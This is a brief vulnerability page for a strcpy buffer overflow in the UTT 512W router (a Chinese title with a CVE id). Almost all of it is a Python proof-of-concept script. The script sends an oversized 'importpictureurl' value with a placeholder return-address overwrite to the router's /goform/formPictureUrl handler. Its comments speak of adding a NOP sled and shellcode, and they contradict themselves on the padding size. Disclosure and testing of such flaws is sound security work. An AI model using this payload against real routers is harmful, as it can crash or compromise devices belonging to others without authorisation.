CVE-2025-15091 | UTT 进取512W路由器strcpy缓冲区溢出漏洞

import requests # CVE-2025-15091 PoC - UTT 进取 512W Buffer Overflow # Target: /goform/formPictureUrl # Vulnerability: strcpy buffer overflow via importpictureurl parameter target_url = "http://<target_ip>/goform/formPictureUrl" # Generate payload with NOP sled + shellcode + return address # Adjust padding size based on target firmware padding_size = 500 # May need adjustment # Example: 32-byte padding to reach saved return address payload = "A" * padding_size payload += "\x42\x42\x42\x42" # Overwrite return address (target-specific) data = { "importpictureurl": payload } try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload length: {len(payload)}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")